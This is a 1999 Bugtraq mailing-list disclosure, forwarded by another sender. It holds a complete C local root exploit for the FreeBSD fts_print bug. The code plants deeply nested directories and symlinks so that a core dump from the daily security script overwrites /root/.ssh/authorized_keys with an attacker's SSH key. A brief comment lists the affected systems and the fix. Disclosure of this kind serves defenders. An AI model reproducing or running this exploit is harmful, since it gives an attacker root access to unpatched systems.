Date:         Tue, 24 Aug 1999 23:47:05 +0200
Reply-To: Przemyslaw Frasunek <secure@FREEBSD.LUBLIN.PL>
From: Przemyslaw Frasunek <secure@FREEBSD.LUBLIN.PL>
Organization: Lubelska Grupa Uzytkownikow BSD
Subject:      FreeBSD (and other BSDs?) local root explot
To: BUGTRAQ@SECURITYFOCUS.COM

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Hash: SHA1

/*

 (c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>

 bug in fts_print function allows to overwrite any file in system, when
 running /etc/security script (executed from 'daily' scripts).

 affected systems:
   - freebsd (all versions)
   - probably openbsd/netbsd

 fix:
   - limit root's coredump size
   - patch libc

*/

#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>

#define STRING          "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE            "/root/.ssh/authorized_keys"
#define CORE            "find.core"
#define DEPTH           300
#define BUFSIZE         250

int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{

        if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
                return -1;

        if (chdir(dir))
                return -1;

        if (symlink(linkfrom, linkto) < 0)
                return -1;

        return 0;
}


int main(argc, argv)
int argc;
char **argv;
{
        int i = 0;
        char pid[10], buf[BUFSIZE];

        sprintf(pid, "%d", getpid());

        if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
        {
                perror("mkdir()");
                return -1;
        }

        if (chdir(pid))
        {
                perror("chdir()");
                return -1;
        }

        bzero(buf, BUFSIZE);
        memset(buf, 0x41, BUFSIZE-1);

        for(i=0;i<DEPTH;i++)
        {
                if (makedir(STRING, FILE, CORE) < 0)
                {
                        perror("makedir()");
                        return -1;
                }

                if(makedir(buf, FILE, CORE) < 0)
                {
                        perror("makedir()");
                        return -1;
                }
        }

        return 0;
}

----- End forwarded message -----

--
Manuel Bouyer <bouyer@antioche.eu.org>
--

----- End forwarded message -----
--
Manuel Bouyer, LIP6, Universite Paris VI.           Manuel.Bouyer@lip6.fr
     {Net,Free}BSD: 22 ans d'experience feront toujours la difference
--